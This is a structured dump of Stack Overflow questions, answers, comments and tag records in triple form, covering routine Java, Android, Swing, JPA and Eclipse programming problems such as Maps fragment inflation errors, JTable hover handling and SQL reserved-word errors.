has body: You do not need to uninstall Eclipse or the SDK, it's a matter of wiring things up in the right order. That video is using a slightly older version of Eclipse and the ADT plugins. Download and install the Android SDK. Launch the SDK Manager and install the latest platform tools and platform SDK level. Get the samples, docs, and source package while you're at it. You don't necessarily need the emulator images unless you want to use them. Make sure the SDK/tools, SDK/platform-tools, SDK/build-tools are on your PATH. Ensure by opening a terminal (Command Prompt) and typing 'adb devices'. Download and unpack Eclipse. If you don't have an existing Eclipse installation, it's best to use the one that Google provides that has the ADT plugins already built in. If you have an existing Eclipse and you want to use it, add the Google update site and install the ADT plugins. Restart Eclipse. Go to Window/Preferences in Eclipse and point the Android SDK at the top folder where the SDK is. Try to create a sample application with File->New->Project... From there, expand Android and choose Android Sample Project. I usually go with Skeleton. If you can get this far, you have everything set up. If it's still not creating the src and layouts, check that the Create Activity box is selected on the New Android Project dialog so it will give you the basic files you need.
accepted answer of: http://stackoverflow.com/q/22211366
answers question: http://stackoverflow.com/q/22211366
type: AcceptedAnswer

http://stackoverflow.com/q/22174995
tagged with: android-fragments
has comment: http://stackoverflow.com/comment/33656417
score: 0
tagged with: google-maps
tagged with: google-maps-api-2
answer count: 1
has answer: http://stackoverflow.com/a/22175121
has title: Error inflating class fragment google APIs
tagged with: android
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33656530
tagged with: java
accepted answer: http://stackoverflow.com/a/22175121
type: Question
has body: I searched a lot in the web but I don't know where is my error. I'm trying to use the Android APIs for Maps for the first time. Here my code: public class MapClass extends FragmentActivity { @Override protected void onCreate(Bundle savedInstanceState) { // TODO Auto-generated method stub super.onCreate(savedInstanceState); setContentView(R.layout.info_restaurant_layout); } } Here my manifest: <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="it.android.test" android:versionCode="1" android:versionName="1.0" > <uses-feature android:glEsVersion="0x00020000" android:required="true" /> <uses-sdk android:minSdkVersion="14" android:targetSdkVersion="19" /> <uses-permission android:name="it.android.pizzapp.ui.activity.permission.MAP_RECEIVE" /> <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> <uses-permission android:name="com.google.android.providers.gsf.permission.READ_GSERVICES" /> <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" /> <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" /> <meta-data android:name="com.google.android.maps.v2.API_KEY" android:value="AIzaSyAXB5clxSzUdT8..." /> android:theme="@style/CustomActivityTheme" <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> android:theme="@style/CustomActivityTheme" Here is my XML for MapClass: <?xml version="1.0" encoding="utf-8"?> <fragment android:id="@+id/mapFragment" android:name="com.google.android.gms.maps.SupportMapFragment" android:layout_width="match_parent" android:layout_height="match_parent" class="com.google.android.gms.maps.SupportMapFragment" /> And here is my stack trace: Failed to inflate android.view.InflateException: Binary XML file line #8: Error inflating class fragment at android.view.LayoutInfl…

http://stackoverflow.com/comment/34276770
has text: Reproduced it - definitely looks like a bug. It's generating the right code though - if you add an implementation, it calls the right methods. I suggest you report the bug.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22317878

http://stackoverflow.com/comment/33885048
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/22301595
has text: Oops. I should've specified. I'm using a Mac. The permissions error, I'm pretty sure, is caused because the file doesn't actually exist. It's never built.
score: 0

http://stackoverflow.com/comment/33844181
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22278759
has text: Files is only available on Java 7+, however. No telling if the OP has access to it.
type: AnswerComment

http://stackoverflow.com/q/22245463
accepted answer: http://stackoverflow.com/a/22246185
linked to: http://stackoverflow.com/q/19209650
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/9522475
has answer: http://stackoverflow.com/a/22246185
tagged with: java
has comment: http://stackoverflow.com/comment/33784947
has comment: http://stackoverflow.com/comment/33783694
tagged with: swing
type: Question
has body: I am creating a table that contains a basic data , here is my frame when i click that row , it will popUp a new frame, that contains all data , it works well , i can properly get the row and the column when i click a row , but here is what i want to do : when i set the cursor over the table row , it will automatically get the row and the column of that data on the table , and i want to display that data's picture , just like on the fb , when you set your cursor on a profile , after 2 secs, it will display the profile of that user. please help , im just a newbie :)
has title: how to get the row and the column in a JTable when the cursor is pointed at a specific row?
tagged with: database
linked to: http://stackoverflow.com/q/8332159
tagged with: jtable
score: 0
linked to: http://stackoverflow.com/q/11531010
linked to: http://stackoverflow.com/q/9554636
tagged with: sql
answer count: 1

http://stackoverflow.com/comment/33725380
comment on: http://stackoverflow.com/q/22212911
score: 1
has text: Using `.` will not look inside any jars.
type: Comment
type: QuestionComment

http://stackoverflow.com/q/22171114
tagged with: arrays
downvote count: 0
has body: I'm looking for a way to store random sets of bits into an array. The code below isn't complete but I just want help understanding how to randomize a set of bits. public static boolean[] makeRandomBits(int size) { BitSet[] bitArray = new BitSet[size]; for(int i=0; i&lt;size; i++){ bitArray[i].set(/*Right here is where my confusion is*/); } /*other stuff below*/ } I'm looking for the output to be something along the lines of: 01101001
tagged with: random
has answer: http://stackoverflow.com/a/22171176
favorite count: 0
has answer: http://stackoverflow.com/a/22173946
type: UnansweredQuestion
tagged with: bit
upvote count: 1
score: 1
tagged with: java
type: Question
tagged with: boolean
answer count: 2
has title: Making random bits stored in a boolean array

http://stackoverflow.com/q/22229544
type: Question
tagged with: android
has title: Click button and send picture to second activity
has comment: http://stackoverflow.com/comment/33755044
tagged with: android-activity
tagged with: onclick
answer count: 0
score: 0
tagged with: android-intent
has body: Im very new in Android. I have a clickable cardsui (with 22 cards) like this code. Each card should open in the second activity(with three tabs), three different pictures. Each tabs gets one of the three pictures. How looks the intent,if i want to achieve this. private CardUI mCardView; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_prozent); // init CardView mCardView = (CardUI) findViewById(R.id.cardsview); mCardView.setSwipeable(false); // create a stack1" CardStack stack1 = new CardStack(); stack1.setTitle("Title1"); mCardView.addStack(stack1); // add cards to stack mCardView .addCardToLastStack(new MyPlayCard( "Card1", "desc", "#e00707", "#e00707", false, true)); mCardView .addCardToLastStack(new MyPlayCard( "Card2", "desc", "#e00707", "#e00707", false, true)); mCardView.refresh(); } @Override public void onClick(View v) { // TODO Auto-generated method stub }
tagged with: java
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33754543
has comment: http://stackoverflow.com/comment/33754700

http://stackoverflow.com/comment/33822796
score: 0
type: QuestionComment
type: Comment
has text: @PeterLawrey Why? As opposed to calling it afterwards?
comment on: http://stackoverflow.com/q/22264500

http://stackoverflow.com/q/22293046
has comment: http://stackoverflow.com/comment/33869879
favorite count: 0
type: Question
tagged with: facebook
tagged with: regex
has body: I want to extract url of a facebook page by giving a keyword. Eg if I specify a keyword like "gulab jamun" on facebook can I get the url of that page.I tried different ways but I don't even know that is it possible. So can anyone help me for resolving this issue.I tried that using existing API's too restfb and facebook4j but I think it's not possible through that. can any one help me
has answer: http://stackoverflow.com/a/22294474
upvote count: 1
tagged with: restfb
answer count: 1
has comment: http://stackoverflow.com/comment/33869915
has comment: http://stackoverflow.com/comment/33870384
tagged with: java
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33869980
has comment: http://stackoverflow.com/comment/33869835
has title: Extracting url by specifying a keyword
downvote count: 0
score: 1
tagged with: facebook-graph-api

http://stackoverflow.com/comment/33892245
comment on: http://stackoverflow.com/a/22302708
has text: yeah. Didn't do anything. Since this is the only instance of "i" being used used in the whole program, it wouldn't make a difference.
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/a/22238487
answers question: http://stackoverflow.com/q/22238458
has comment: http://stackoverflow.com/comment/33771460
score: 0
has body: Try this approach. The x is just the first digit. It is from 1 to 9. Then you append it to another number which has at most 3 digits. public String generatePIN() { int x = (int)(Math.random() * 9); x = x + 1; String randomPIN = (x + "") + ( ((int)(Math.random()*1000)) + "" ); return randomPIN; }
has comment: http://stackoverflow.com/comment/33771524
type: Answer

http://stackoverflow.com/q/22212703
tagged with: java
has title: Averaging Scores Simplification
accepted answer: http://stackoverflow.com/a/22212932
type: Question
downvote count: 0
answer count: 3
possible better answer: http://stackoverflow.com/a/22212795
score: 1
has answer: http://stackoverflow.com/a/22212795
favorite count: 0
has body: I wrote a program which reads data from a file that contains the name of a student and an indefinite number of scores for each student, I have to calculate the average scores, but I can only seem to make the program work for an specific number of scores. How could I make it so it calculates the average of any number of scores. By the way the program is written in Java. /* * To change this template, choose Tools | Templates * and open the template in the editor. */ package hw1; import java.io.*; import java.util.Scanner; /** * * @author admin */ public class HW1 { /** * @param args the command line arguments */ public static void main(String[] args) { // TODO code application logic here try { File file = new File("/Users/admin/Desktop/studentScores.in"); //reads form file Scanner scan = new Scanner(file); //scans the file while(scan.hasNextInt()) //while the scanner identifies integers { String name = scan.next(); String grade1 = scan.next(); String grade2 = scan.next(); String grade3 = scan.next(); String grade4 = scan.next(); String grade5 = scan.next(); String grade6 = scan.next(); String grade7 = scan.next(); String grade8 = scan.next(); String grade9 = scan.next(); String grade10 = scan.next(); int average = (Integer.parseInt(grade1) + Integer.parseInt(grade2) + Integer.parseInt(grade3) + Integer.parseInt(grade4) + Integer.parseInt(grade5) + Integer.parseInt(grade6) +Integer.parseInt(grade7) + Integer.parseInt(grade8) + Integer.parseInt(grade9) + Integer.parseInt(grade10)) / 10; //decalre avergae variable and calculate it System.out.println("Name:" + name + " Average:" + average); // print the name of the student and their average } } catch(IOException e) { } } }
has comment: http://stackoverflow.com/comment/33725038
has answer: http://stackoverflow.com/a/22212932
upvote count: 1
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22212718

http://stackoverflow.com/comment/33690242
type: Comment
comment on: http://stackoverflow.com/a/22193771
type: AnswerComment
has text: Edited, should be if(mTimer != null) {
score: 1

http://stackoverflow.com/a/22211198
has body: CometD is not container specific, it will work in any Servlet 3 container using Asynchronous Servlets. CometD relies on Jetty classes for its implementation, and scales best when deployed in Jetty, but there are users that deploy CometD in Tomcat, GlassFish, etc. Having said that, if you deploy CometD into a JEE server and have MDBs, you can easily convert the MDB message into a CometD message and have CometD send it to clients. The actual details of how to wire the MDB to CometD depend on the frameworks you use (e.g. Spring, CDI, custom, etc.), but typically the MDB needs to lookup/notify a CometD service, and have the CometD service broadcast the CometD message. You can find the CometD server-side tutorial very similar (although it's not using MDBs) to what you need. In that tutorial, the role of the MDB is played by the StockPriceEmitter class. Look also at the CometD reference manual for further information.
has comment: http://stackoverflow.com/comment/33754655
accepted answer of: http://stackoverflow.com/q/22209712
has comment: http://stackoverflow.com/comment/33754698
has comment: http://stackoverflow.com/comment/33841171
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/33768004
has comment: http://stackoverflow.com/comment/33757796
type: Answer
has comment: http://stackoverflow.com/comment/33767758
has comment: http://stackoverflow.com/comment/33754662
has comment: http://stackoverflow.com/comment/33745771
score: 1
answers question: http://stackoverflow.com/q/22209712
upvote count: 1

http://stackoverflow.com/comment/33766901
type: Comment
score: 0
comment on: http://stackoverflow.com/a/22224460
has text: No unfortunately, you can't "create" a variable name at runtime. Use an hashmap is a trick to dynamise variable usage.
type: AnswerComment

http://stackoverflow.com/a/22234435
has comment: http://stackoverflow.com/comment/33764830
score: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33766200
type: Answer
has body: Unfortunately, Spring's AOP stack ignores any return value from an @AfterThrowing advice method. It just executes it and then continues by throwing the originally thrown exception. You might want to use an @Around advice, wrap the proceed call in a try-catch block, generate your SowResult and return it.
has comment: http://stackoverflow.com/comment/33764021
has comment: http://stackoverflow.com/comment/33764522
accepted answer of: http://stackoverflow.com/q/22233269
has comment: http://stackoverflow.com/comment/33764242
answers question: http://stackoverflow.com/q/22233269
has comment: http://stackoverflow.com/comment/33764704
has comment: http://stackoverflow.com/comment/33764499
has comment: http://stackoverflow.com/comment/33766293

http://stackoverflow.com/a/27762184
upvote count: 2
type: Answer
has body: I have the same problem before. Using this Eclipse Update http://dl-ssl.google.com/android/eclipse/ did not work for me. I notice this problem when I download the latest updated SDK Luckily the solution to my problem is very easy. By Selecting Empty Project instead of Blank Activity makes it working.
score: 2
answers question: http://stackoverflow.com/q/22219392
downvote count: 0

http://stackoverflow.com/a/22315548
downvote count: 0
has body: xLeft may still be out of bounds after the evaluation, meaning that it will continuously slip into the if statement. This would occur if the delta is smaller then the amount that the object has passed the boundaries. You might consider placing the object back on the edge of the boundaries, for example if(xLeft &lt; 0 || xLeft &gt; frame_width) { dx = -dx; } if (xLeft &lt; 0) { xLeft = 0; } else if (xLeft &gt; frame_width) { xLeft = frame_width; } else { xLeft = xLeft + dx; } You could drop the else portion if you wanted to and simply move xLeft by the delta...
type: Answer
has comment: http://stackoverflow.com/comment/33911255
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/22315518
has comment: http://stackoverflow.com/comment/33911164
has comment: http://stackoverflow.com/comment/33910340

http://stackoverflow.com/a/22238477
answers question: http://stackoverflow.com/q/22238352
score: 26
has body: I found the answer. I could mark the field or variable as @javax.persistence.Transient
upvote count: 26
downvote count: 0
type: Answer

http://stackoverflow.com/a/22294139
score: 0
type: Answer
answers question: http://stackoverflow.com/q/22294022
has body: Look at the project facets by right clicking on the project. Is Junit added? Also as long as you have added junit to your project classpath you should get the option.

http://stackoverflow.com/q/22202301
favorite count: 0
has comment: http://stackoverflow.com/comment/33706775
has answer: http://stackoverflow.com/a/22204946
has body: I am working on a task where I need to download multiple files from a single hyperlink. When I call the one API link I want it to return multiple files. My current code is only downloading a single file: try { URL url = new URL(f_url[0]); URLConnection conection = url.openConnection(); conection.connect(); // getting file length int lenghtOfFile = conection.getContentLength(); // input stream to read file - with 8k buffer InputStream input = new BufferedInputStream(url.openStream(), 8192); // Output stream to write file OutputStream output = new FileOutputStream("/sdcard/downloadedfile.jpg"); byte data[] = new byte[1024]; long total = 0; while ((count = input.read(data)) != -1) { total += count; // publishing the progress.... // After this onProgressUpdate will be called publishProgress(""+(int)((total*100)/lenghtOfFile)); // writing data to file output.write(data, 0, count); } // flushing output output.flush(); // closing streams output.close(); input.close(); } catch (Exception e) { Log.e("Error: ", e.getMessage()); }
type: UnansweredQuestion
tagged with: android
has comment: http://stackoverflow.com/comment/33705642
score: 1
tagged with: java
upvote count: 1
tagged with: http
type: Question
has comment: http://stackoverflow.com/comment/33706637
has title: How to download multiple files from a single hyperlink
has comment: http://stackoverflow.com/comment/33706400
downvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/33706091

http://stackoverflow.com/comment/33796618
has text: @MarkoTopolnik True. Thanks for pointing that out. In one thread environment resetting Matcher seems little faster then recreating it, so decided to mention about it in my answer. Hope my edit makes my answer better.
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22252577
score: 0

http://stackoverflow.com/comment/33814175
comment on: http://stackoverflow.com/q/22261579
type: Comment
has text: Ok, I ran it by command line just to be sure it wasn't NetBeans that was messing it up, but the problem continued. I'll try to get java 1.7.0_03 to see if it is a version issue, and I also will try again on a Windows 7 (That test will have to wait though, because I don't have any Windows 7 at my disposal)
score: 0
type: QuestionComment

http://stackoverflow.com/q/22307024
tagged with: setter
has comment: http://stackoverflow.com/comment/33895270
has comment: http://stackoverflow.com/comment/33895904
tagged with: null
has comment: http://stackoverflow.com/comment/33894994
type: UnansweredQuestion
tagged with: getter
has comment: http://stackoverflow.com/comment/33895382
has comment: http://stackoverflow.com/comment/33937596
has answer: http://stackoverflow.com/a/22309130
has comment: http://stackoverflow.com/comment/33937595
has title: set() method receiving the value but get() method returning null
type: Question
has answer: http://stackoverflow.com/a/22307386
answer count: 2
has comment: http://stackoverflow.com/comment/33894758
has comment: http://stackoverflow.com/comment/33895140
has comment: http://stackoverflow.com/comment/33895520
has body: I am creating a login page which retrieves the user details from the database and stores in the user class. The Set methods are receiving the values correctly but when I try to access the details using the Get method, it's returning null. See the code snippets below and can you let me know what exactly I am missing here. Retrieve details from DB and set the values: class userdao: user.setID(rs.getString("ID")); user.setHashPassword(rs.getString("HashPassword")); user.setAccessLevel(rs.getInt("AccessLevel")); user.setLastDate(rs.getDate("LastAccessDate")); Note: The connection is closed after this point. Setting the values: class user: public class User { private String ID; private String HashPassword; private int AccessLEVEL; private Date LastAccessDate; public User() { } public void setID(String uID) { this.ID = uID; } public String getID() { return this.ID; } public void setHashPassword(String uHash) { this.HashPassword = uHash; } public String getHashPassword() { return this.HashPassword; } public void setAccessLevel(int uALevel) { this.AccessLEVEL = uALevel; } public int getAccessLevel() { return this.AccessLEVEL; } public void setLastDate(Date uLDate) { this.LastAccessDate = uLDate; } public Date getLastDate() { return this.LastAccessDate; } } I am accessing the get() values from another class which is receiving the null. class login: System.out.println(user.getID()); // returning null System.out.println(user.getHashPassword()); // returning null System.out.println(user.getAccessLevel()); // returning null System.out.println(user.getLastDate()); // returning null However, when I create variables in the userdao class (where the DB is returning the details) and call them from the login class, the values return correctly. Can you help me find out the error in this code? Here is the complete code of the login and userdao classes. public class Login extends javax.swing.JFrame { User user = new User(); static String strUserID; static String strPwd; public Login() { s…
score: 0
tagged with: java

http://stackoverflow.com/q/22169268
type: Question
has comment: http://stackoverflow.com/comment/33647014
tagged with: java
possible better answer: http://stackoverflow.com/a/22170334
has comment: http://stackoverflow.com/comment/33649338
has answer: http://stackoverflow.com/a/22170334
has title: Is it possible to get serialVersionUID of the java class in runtime
downvote count: 0
has answer: http://stackoverflow.com/a/22169433
has comment: http://stackoverflow.com/comment/33649416
favorite count: 0
has comment: http://stackoverflow.com/comment/33645880
tagged with: serialization
has answer: http://stackoverflow.com/a/78203988
has answer: http://stackoverflow.com/a/22185719
answer count: 4
upvote count: 11
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33649593
accepted answer: http://stackoverflow.com/a/22169433
has body: It's well known that runtime will genereate serialVersionUID field for your class, if you failed to explicitly define it. But is it possible to get this value in runitme? Is it possible in runtime, having reference to .class, obtain it's serialVersionUID?
score: 11

http://stackoverflow.com/comment/33864029
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22252104
has text: not sure. Could you perhaps wrap the WebDriver in your own class, that could retrieve the TestNG config. Then pass that class into your tests using the constructor injection provided by PicoContainer?

http://stackoverflow.com/comment/33678336
type: QuestionComment
type: Comment
has text: Thank you for reply.If I do above code,it prompt `Caused by: org.hibernate.MappingException: Repeated column in mapping for entity: xxx.xxx.xxx.Attachment column: ref_id (should be mapped with insert="false" update="false")`
comment on: http://stackoverflow.com/q/22174097
score: 0

http://stackoverflow.com/comment/33922135
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22318454
type: Comment
has text: File cannot convert from URL to String (Which it needs). Casting doesn't seem to work. Solutions?

jbutton
tags question: http://stackoverflow.com/q/22275981
tags question: http://stackoverflow.com/q/22244964
tags question: http://stackoverflow.com/q/22275236
tags question: http://stackoverflow.com/q/22269743
tags question: http://stackoverflow.com/q/22309177
tags question: http://stackoverflow.com/q/22312418
tags question: http://stackoverflow.com/q/22188213
tags question: http://stackoverflow.com/q/22205821
tags question: http://stackoverflow.com/q/22209518
type: Tag
tags question: http://stackoverflow.com/q/22266080
tags question: http://stackoverflow.com/q/22263074
tags question: http://stackoverflow.com/q/22315401
tags question: http://stackoverflow.com/q/22268958
tags question: http://stackoverflow.com/q/22284846
tags question: http://stackoverflow.com/q/22271880
tags question: http://stackoverflow.com/q/22299320
tags question: http://stackoverflow.com/q/22264647
tags question: http://stackoverflow.com/q/22207735
tags question: http://stackoverflow.com/q/22292075
tags question: http://stackoverflow.com/q/22286402
tags question: http://stackoverflow.com/q/22253806
tags question: http://stackoverflow.com/q/22323516
tags question: http://stackoverflow.com/q/22312966
tag name: jbutton
tags question: http://stackoverflow.com/q/22235899
tags question: http://stackoverflow.com/q/22195329

http://stackoverflow.com/q/22239338
has answer: http://stackoverflow.com/a/22239472
has title: How to add two char arrays with contents being number?
type: AnsweredQuestion
tagged with: java
has comment: http://stackoverflow.com/comment/33773044
has body: I was wondering how one would go about adding the contents of two char arrays. For example, char[] a = {1,2,3} char[] b = {1,2,3} //the output should be c char[] c = {2,4,6} I know this isn't proper coding, but I need to know how this would be done.
downvote count: 1
type: Question
score: 3
possible better answer: http://stackoverflow.com/a/22239361
has comment: http://stackoverflow.com/comment/33773042
has answer: http://stackoverflow.com/a/22239361
has answer: http://stackoverflow.com/a/22239434
upvote count: 4
has comment: http://stackoverflow.com/comment/33773077
answer count: 3
accepted answer: http://stackoverflow.com/a/22239434
favorite count: 0

http://stackoverflow.com/q/22263500
has comment: http://stackoverflow.com/comment/33817593
has comment: http://stackoverflow.com/comment/33817296
tagged with: bash
has answer: http://stackoverflow.com/a/22264291
accepted answer: http://stackoverflow.com/a/22264291
answer count: 1
tagged with: debian
has title: Running a java command with a bash file
linked to: http://stackoverflow.com/q/22263204
tagged with: putty
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33817511
tagged with: java
linked to: http://stackoverflow.com/q/6064548
has body: I am running a bash file through PuTTY. This is the contents of it: #!/bin/bash screen -X 'java -Xms2048m -Xmx2048m -jar mcpc.jar' screen -x When I run /backups/turnon.sh, it successfully connects to the screen however the java command is never run. Running the java command through PuTTY works fine. The bash file doesn't break at any point (as screen -x works fine), what's wrong?
type: Question
has comment: http://stackoverflow.com/comment/33817616
has comment: http://stackoverflow.com/comment/33817682
duplicate of: http://stackoverflow.com/q/22263204
score: 0

http://stackoverflow.com/comment/33707695
score: 1
has text: @Radiodef: Then use Guava and `Lists.newArrayList`, or an equivalent :)
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22203300

http://stackoverflow.com/q/22269839
tagged with: eclipselink
tagged with: sql
has answer: http://stackoverflow.com/a/22269907
tagged with: jpa
possible better answer: http://stackoverflow.com/a/22269907
has title: Error in sqlException when attempting to use generated named query
type: AnsweredQuestion
has body: I have created a bean: package beans; import java.util.List; import javax.ejb.LocalBean; import javax.ejb.Stateless; import javax.persistence.EntityManager; import javax.persistence.PersistenceContext; import mazeJPA.Forumcategory; /** * Session Bean implementation class ForumBean */ @Stateless @LocalBean public class ForumBean { @PersistenceContext(unitName = "mazeEJB") private EntityManager em; /** * Default constructor. */ public ForumBean(){} public List&lt;Forumcategory&gt; getCategories() { return em.createNamedQuery ( "Forumcategory.findAll", Forumcategory.class ).getResultList(); } } and its entity class package mazeJPA; import java.io.Serializable; import javax.persistence.*; /** * The persistent class for the forumcategory database table. * */ @Entity @Table(name="forumcategory") @NamedQuery(name="Forumcategory.findAll", query="SELECT f FROM Forumcategory f") public class Forumcategory implements Serializable { private static final long serialVersionUID = 1L; @Id @GeneratedValue(strategy=GenerationType.AUTO) private int cid; private String desc; private String name; public Forumcategory() { } public int getCid() { return this.cid; } public void setCid(int cid) { this.cid = cid; } public String getDesc() { return this.desc; } public void setDesc(String desc) { this.desc = desc; } public String getName() { return this.name; } public void setName(String name) { this.name = name; } } When I call getCategories() from my servlet I get an sql exception: Internal Exception: com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'DESC, NAME FROM forumcategory' at line 1 Error Code: 1064 Call: SELECT CID, DESC, NAME FROM forumcategory Query: ReadAllQuery(name="Forumcategory.findAll" referenceClass=Forumcategory sql="SELECT CID, DESC, NAME FROM forumcategory") My table is: cid INT NOT NULL, name VARCHAR(255) NOT NULL, desc TEXT NOT…
score: 0
tagged with: java
has answer: http://stackoverflow.com/a/22269896
tagged with: mysql
type: Question
answer count: 2
accepted answer: http://stackoverflow.com/a/22269896

http://stackoverflow.com/comment/33896887
type: QuestionComment
has text: A second label, on the opposite side of the page/form from the first label, that will display the overflowed text from the first? I'm trying to imagine that, but can't. Could you whip up some ASCII art, or perhaps show a [Minimal Complete Example](http://stackoverflow.com/help/mcve) that demonstrates the problem?
score: 0
type: Comment
comment on: http://stackoverflow.com/q/22307917

http://stackoverflow.com/comment/33838344
has text: OOS doesn't open the file, the FOS does. See the FOS documentation [for how to append](http://docs.oracle.com/javase/7/docs/api/java/io/FileOutputStream.html#FileOutputStream(java.io.File,%20boolean)). However, in this case with the same file, you really want process *all* the input and *then* write all the output (after making necessary changes to the data), in which case the truncate behavior works just fine.
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/22275592

http://stackoverflow.com/comment/33755251
type: QuestionComment
has text: This could be that the classes that you have in "target" were compiled without debug information. Are you building your application using IntelliJ or using maven? I would delete the target directory, and then try to debug using the debug button in IntelliJ. Also do you have some special build step in in your pom.xml ? AspectJ or similiar?
comment on: http://stackoverflow.com/q/22229088
score: 0
type: Comment

http://stackoverflow.com/q/22293665
has comment: http://stackoverflow.com/comment/33904422
favorite count: 0
has body: I have a Map of String and List of Object which contains each datacenter and its machine. And I am currently passing this object to JSP from my Controller and then I am iterating it in JSP page to show the data. If the Map size is one, then I am able to show the data in a JSP page and it works fine. Now suppose if the Map size is two, then I would like to show two tables one for each key in the map. This is what I am not able to make work. Maximum size of map can be 3 for my use case. Below is my class which holds the data - public class DatacenterMachineMapping { private Map&lt;String, List&lt;MachineMetrics&gt;&gt; datacenterMachines; // getters and setters } public class MachineMetrics { private String machineName; private String t2_95; private String t2_99; private String syncs; private String syncsBehind; private String average; // getters and setters } And below is my method in my Controller from which I need to pass an object to JSP and then iterate that object in JSP to show the data in a table - @RequestMapping(value = "testOperation", method = RequestMethod.GET) public Map&lt;String, String&gt; testData() { final Map&lt;String, String&gt; model = new LinkedHashMap&lt;String, String&gt;(); // for datacenter 1 MachineMetrics metrics1 = new MachineMetrics(); metrics1.setAvg("10"); metrics1.setT2_95("100"); metrics1.setT2_99("200"); metrics1.setMachineName("machineA"); metrics1.setSyncs("100"); metrics1.setSyncsBehind("1000"); MachineMetrics metrics2 = new MachineMetrics(); metrics2.setAvg("20"); metrics2.setT2_95("200"); metrics2.setT2_99("300"); metrics2.setMachineName("machineB"); metrics2.setSyncs("200"); metrics2.setSyncsBehind("2000"); List&lt;MachineMetrics&gt; metricsA = new LinkedList&lt;MachineMetrics&gt;(); metricsA.add(metrics1); metricsA.add(metrics2); // for datacenter 2 MachineMetrics metrics3= new MachineMetrics(); metrics3.setAvg("30"); metrics3.setT2_95("300"); metrics3.setT2_99("300"); metrics3.setMachineName("machineC"); metrics3.setSyncs("…
accepted answer: http://stackoverflow.com/a/22295090
score: 2
upvote count: 2
linked to: http://stackoverflow.com/q/22291238
has comment: http://stackoverflow.com/comment/33904411
has comment: http://stackoverflow.com/comment/33904313
tagged with: spring
type: Question
tagged with: spring-mvc
has title: How to show multiple tables depending on key in the Map using JSTL?
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33906243
tagged with: java
has comment: http://stackoverflow.com/comment/33905983
has comment: http://stackoverflow.com/comment/33904182
has answer: http://stackoverflow.com/a/22295090
tagged with: jstl
has comment: http://stackoverflow.com/comment/33904391
answer count: 1
downvote count: 0
tagged with: jsp

http://stackoverflow.com/a/22253890
upvote count: 1
score: 1
has body: Override the .equals() method in your class. @Override public boolean equals(Object object) { //If object1 member variables and values = object2 member variables and values: return true; } Note: You will need to override the hashCode() method as well if you want to use the objects as a key in a HashMap, HashTable, or in a Set.
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/22253860

http://stackoverflow.com/a/22249993
upvote count: 2
has body: HashSet&lt;String&gt; allTags=new HashSet&lt;String&gt;(); Document doc=Jsoup.connect("http://seenyc.co/").get(); Elements elements=doc.getAllElements(); for(Element ele:elements){ String s=ele.tagName(); Attributes n=ele.attributes(); allTags.add(s); } // here your hashset will have all distinct tag names from website Is this what you wanted?
answers question: http://stackoverflow.com/q/22248462
downvote count: 0
type: Answer
score: 2

http://stackoverflow.com/q/22183776
has comment: http://stackoverflow.com/comment/33672617
has comment: http://stackoverflow.com/comment/33672642
has comment: http://stackoverflow.com/comment/33672819
answer count: 1
has answer: http://stackoverflow.com/a/22186019
has body: I have a queue implementation as shown below. static String a = "1 0 2014/03/03 01:34:39 0.0 0.0 0.0"; static String b = "2 1 2014/03/03 01:34:40 0.0 0.0 0.0"; static String c = "3 2 2014/03/03 01:34:41 0.0 0.0 0.0"; static String[] d; String e; public static void main(String[] args) { Queue&lt;String&gt; s = new LinkedList&lt;String&gt;(); s.add(a); s.add(b); s.add(c); } As you see each entry in the list is a string with 7 elements. I would like to compare these entries from each string. For example the first entries from a, b, c using s.
has comment: http://stackoverflow.com/comment/33672831
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33672869
has comment: http://stackoverflow.com/comment/33713118
tagged with: linked-list
tagged with: java
score: 0
has comment: http://stackoverflow.com/comment/33672648
tagged with: queue
has title: Comparing elements in a linked list
type: Question
has comment: http://stackoverflow.com/comment/33713153

http://stackoverflow.com/a/22318181
type: Answer
downvote count: 1
score: 14
has comment: http://stackoverflow.com/comment/50499198
answers question: http://stackoverflow.com/q/22317434
accepted answer of: http://stackoverflow.com/q/22317434
upvote count: 15
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/103205461
has body: I had suffered this problem too. Whenever we delete a tomcat server and run our project in new one without build classpaths and clean and build that project, we got this type of exceptions. So, Build your projects classpath. Goto property of your Project then Select =>Java Build Path => Order and Export. Select All classpaths.

http://stackoverflow.com/comment/33927568
type: QuestionComment
comment on: http://stackoverflow.com/q/22325658
score: 0
type: Comment
has text: infinite loop? `for(int j=0;;j++)`

http://stackoverflow.com/q/22277133
favorite count: 0
has answer: http://stackoverflow.com/a/22277184
type: UnansweredQuestion
tagged with: swing
has comment: http://stackoverflow.com/comment/33841216
